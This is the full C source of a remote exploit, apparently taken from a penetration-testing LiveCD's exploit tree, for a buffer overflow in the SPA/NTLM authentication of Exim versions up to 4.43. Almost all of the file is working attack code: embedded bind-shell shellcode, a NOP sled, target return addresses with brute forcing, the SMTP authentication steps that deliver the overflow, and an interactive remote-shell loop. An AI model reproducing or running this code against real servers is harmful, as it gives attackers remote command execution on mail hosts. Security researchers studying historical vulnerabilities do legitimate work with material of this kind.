home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / exim / ecl-eximspa.c < prev    next >
C/C++ Source or Header  |  2005-03-05  |  8KB  |  320 lines

  1. /* ecl-eximspa.c
  2.  * Yuri Gushin <yuri@eclipse.org.il>
  3.  *
  4.  * Howdy :)
  5.  * This is pretty straightforward, an exploit for the recently
  6.  * discovered vulnerability in Exim's (all versions prior to and
  7.  * including 4.43) SPA authentication code - spa_base64_to_bits()
  8.  * will overflow a fixed-size buffer since there's no decent
  9.  * boundary checks before it in auth_spa_server()
  10.  *
  11.  * Greets fly out to the ECL crew, Alex Behar, Valentin Slavov
  12.  * blexim, manevski, elius, shrink, and everyone else who got left
  13.  * out :D
  14.  *
  15.  */
  16.  
  17. #include <stdlib.h>
  18. #include <stdio.h>
  19. #include <unistd.h>
  20. #include <string.h>
  21. #include <err.h>
  22. #include <netinet/in.h>
  23. #include <sys/socket.h>
  24. #include <sys/types.h>
  25. #include <netdb.h>
  26. #include <arpa/inet.h>
  27.  
  28. #define SC_PORT 13370
  29. #define NOP 0xfd
  30.  
  31. struct {
  32.   char *name;
  33.   int retaddr;
  34. } targets[] = {
  35.   { "Bruteforce", 0xbfffffff },
  36.   { "Debian Sarge exim4-daemon-heavy_4.34-9", 0xbfffed00 },
  37. };
  38.  
  39. char sc[] = // thank you metasploit, skape, vlad902
  40. "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
  41. "\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
  42. "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
  43. "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
  44. "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
  45. "\x89\xe1\xcd\x80";
  46.  
  47. struct {
  48.   struct sockaddr_in host;
  49.   int target;
  50.   int offset;
  51.   u_short wait;
  52. } options;
  53.  
  54. static int brutemode;
  55.  
  56. int connect_port(u_short port);
  57. void init_SPA(int sock);
  58. void exploit(int sock, int address);
  59. void shell(int sock);
  60. void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen);
  61. void parse_options(int argc, char **argv);
  62. void usage(char *cmd);
  63. void banner(void);
  64.  
  65. int main(int argc, char **argv)
  66. {
  67.   int address, sock_smtp, sock_shell;
  68.  
  69.   banner();
  70.   parse_options(argc, argv);
  71.   address = targets[options.target].retaddr - options.offset;
  72.   brutemode = 0;
  73.  
  74.  bruteforce:
  75.  
  76.   if (!brutemode)
  77.     {
  78.       printf("[*] Connecting to %s:%d... ",
  79.          inet_ntoa(options.host.sin_addr), ntohs(options.host.sin_port));
  80.       fflush(stdout);
  81.     }
  82.  
  83.   sock_smtp = connect_port(ntohs(options.host.sin_port));
  84.  
  85.   if (!brutemode)
  86.     {
  87.       if (!sock_smtp) 
  88.     {
  89.       printf("failed.\n\n");
  90.       exit(-1);
  91.     }
  92.       printf("success.\n");
  93.     }
  94.  
  95.   init_SPA(sock_smtp);
  96.   exploit(sock_smtp, address);
  97.   close(sock_smtp);
  98.  
  99.   printf("[*] Target: %s - 0x%.8x\n", targets[options.target].name, address);
  100.   printf("[*] Exploit sent, spawning a shell... ");
  101.   fflush(stdout);
  102.  
  103.   sleep(1); // patience grasshopper
  104.   sock_shell = connect_port(SC_PORT);
  105.  
  106.   if (!sock_shell && options.target)
  107.     {
  108.       printf("failed.\n\n");
  109.       exit(-1);
  110.     }
  111.   if (!sock_shell)
  112.     {
  113.       printf("failed.\n\n");
  114.       address -= 1000 - strlen(sc);
  115.       brutemode = 1;
  116.       if (options.wait) sleep(options.wait);
  117.       goto bruteforce;
  118.     }
  119.   printf("success!\n\nEnjoy your shell :)\n\n");
  120.   shell(sock_shell);
  121.  
  122.   return 0;
  123. }
  124.  
  125. int connect_port(u_short port)
  126. {
  127.   int sock;
  128.   struct sockaddr_in host;
  129.  
  130.   memcpy(&host, &options.host, sizeof(options.host));
  131.   host.sin_port = ntohs(port);
  132.  
  133.   if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  134.       return 0;
  135.   if(connect(sock, (struct sockaddr *)&host, sizeof(host)) < 0)
  136.     {
  137.       close(sock);
  138.       return 0;
  139.     }
  140.  
  141.   return sock;
  142. }
  143.  
  144. void init_SPA(int sock)
  145. {
  146.   char buffer[1024];
  147.  
  148.   memset(buffer, 0, sizeof(buffer));
  149.   if (!read(sock, buffer, sizeof(buffer)))
  150.     err(-1, "read");
  151.   buffer[255] = '\0';
  152.  
  153.   if (!brutemode)
  154.     printf("[*] Server banner: %s", buffer);
  155.  
  156.   write(sock, "EHLO ECL.PWNZ.J00\n", 18);
  157.   memset(buffer, 0, sizeof(buffer));
  158.   if (!read(sock, buffer, sizeof(buffer)))
  159.     err(-1, "read");
  160.   else
  161.     if (!brutemode && (!strstr(buffer, "NTLM")))
  162.       printf("[?] Server doesn't seem to support SPA, trying anyway\n");
  163.   write(sock, "AUTH NTLM\n", 10);
  164.   memset(buffer, 0, sizeof(buffer));
  165.   if (!read(sock, buffer, sizeof(buffer)))
  166.     err(-1, "read");
  167.   else
  168.     if (!brutemode && (!strstr(buffer, "334")))
  169.       {
  170.         printf("[!] SPA unsupported! Server responds: %s\n\n", buffer);
  171.         exit(1);
  172.       }
  173.   if (!brutemode) printf("[*] SPA (NTLM) supported\n");
  174. }
  175.  
  176. void exploit(int sock, int address)
  177. {
  178.   char exp[2000], exp_base64[2668];
  179.   int *address_p;
  180.   int i;
  181.  
  182.   memset(exp, NOP, 1000);
  183.   memcpy(&exp[1000]-strlen(sc), sc, strlen(sc));
  184.   address_p = (int *)&exp[1000];
  185.   for (i=0; i<1000; i+=4)
  186.     *(address_p++) = address;
  187.   spa_bits_to_base64(exp_base64, exp, sizeof(exp));
  188.  
  189.   write(sock, exp_base64, sizeof(exp_base64));
  190.   write(sock, "\n", 1);
  191. }
  192.  
  193. void shell(int sock)
  194. {
  195.   int n;
  196.   fd_set fd;
  197.   char buff[1024];
  198.  
  199.   write(sock,"uname -a;id\n",12);
  200.  
  201.   while(1)
  202.     {
  203.      
  204.       FD_SET(sock, &fd);
  205.       FD_SET(0, &fd);
  206.  
  207.       select(sock+1, &fd, NULL, NULL, NULL);
  208.  
  209.       if( FD_ISSET(sock, &fd) )
  210.         {
  211.           n = read(sock, buff, sizeof(buff));
  212.           if (n < 0) err(1, "remote read");
  213.           write(1, buff, n);
  214.         }
  215.  
  216.       if ( FD_ISSET(0, &fd) )
  217.         {
  218.           n = read(0, buff, sizeof(buff));
  219.           if (n < 0) err(1, "local read");
  220.           write(sock, buff, n);
  221.         }
  222.     }    
  223. }
  224.  
  225. char base64digits[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  226. void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen)
  227. {
  228.   for (; inlen >= 3; inlen -= 3)
  229.     {
  230.       *out++ = base64digits[in[0] >> 2];
  231.       *out++ = base64digits[((in[0] << 4) & 0x30) | (in[1] >> 4)];
  232.       *out++ = base64digits[((in[1] << 2) & 0x3c) | (in[2] >> 6)];
  233.       *out++ = base64digits[in[2] & 0x3f];
  234.       in += 3;
  235.     }
  236.   if (inlen > 0)
  237.     {
  238.       unsigned char fragment;
  239.  
  240.       *out++ = base64digits[in[0] >> 2];
  241.       fragment = (in[0] << 4) & 0x30;
  242.       if (inlen > 1)
  243.         fragment |= in[1] >> 4;
  244.       *out++ = base64digits[fragment];
  245.       *out++ = (inlen < 2) ? '=' : base64digits[(in[1] << 2) & 0x3c];
  246.       *out++ = '=';
  247.     }
  248.   *out = '\0';
  249. }
  250.  
  251. void parse_options(int argc, char **argv)
  252. {
  253.   int ch;
  254.   struct hostent *hn;
  255.  
  256.   memset(&options, 0, sizeof(options));
  257.  
  258.   options.host.sin_family = AF_INET;
  259.   options.host.sin_port = htons(25);
  260.   options.target = -1;
  261.   options.wait = 1;
  262.  
  263.   while (( ch = getopt(argc, argv, "h:p:t:o:w:")) != -1)
  264.     switch(ch)
  265.       {
  266.       case 'h':
  267.         if ( (hn = gethostbyname(optarg)) == NULL)
  268.           errx(-1, "Unresolvable address\n");
  269.         memcpy(&options.host.sin_addr, hn->h_addr, hn->h_length);
  270.         break;
  271.       case 'p':
  272.         options.host.sin_port = htons((u_short)atoi(optarg));
  273.         break;
  274.       case 't':
  275.         if ((atoi(optarg) > (sizeof(targets)/8-1) || (atoi(optarg) < 0)))
  276.           errx(-1, "Bad target\n");
  277.         options.target = atoi(optarg);
  278.         break;
  279.       case 'o':
  280.         options.offset = atoi(optarg);
  281.         break;
  282.       case 'w':
  283.         options.wait = (u_short)atoi(optarg);
  284.         break;
  285.       case '?':
  286.     exit(1);
  287.       default:
  288.         usage(argv[0]);
  289.       }
  290.  
  291.   if (!options.host.sin_addr.s_addr || (options.target == -1) )
  292.     usage(argv[0]);
  293. }
  294.  
  295. void usage(char *cmd)
  296. {
  297.   int i;
  298.  
  299.   printf("Usage: %s [ -h host ] [ -p port ] [ -t target ] [ -o offset ] [ -w wait ]\n\n"
  300.      "\t-h: remote host\n"
  301.      "\t-p: remote port\n"
  302.      "\t-t: target return address (see below)\n"
  303.      "\t-o: return address offset\n"
  304.      "\t-w: seconds to wait before bruteforce reconnecting\n\n",
  305.      cmd);
  306.   printf("Targets:\n");
  307.   for (i=0; i<(sizeof(targets)/8); i++)
  308.     printf("%d - %s (0x%.8x)\n", i, targets[i].name, targets[i].retaddr);
  309.   printf("\n");
  310.   exit(1);
  311. }
  312.  
  313. void banner(void)
  314. {
  315.   printf("\t\tExim <= 4.43 SPA authentication exploit\n"
  316.          "\t\t   Yuri Gushin <yuri@eclipse.org.il>\n"
  317.          "\t\t\t       ECL Team\n\n\n");
  318. }
  319.  
  320.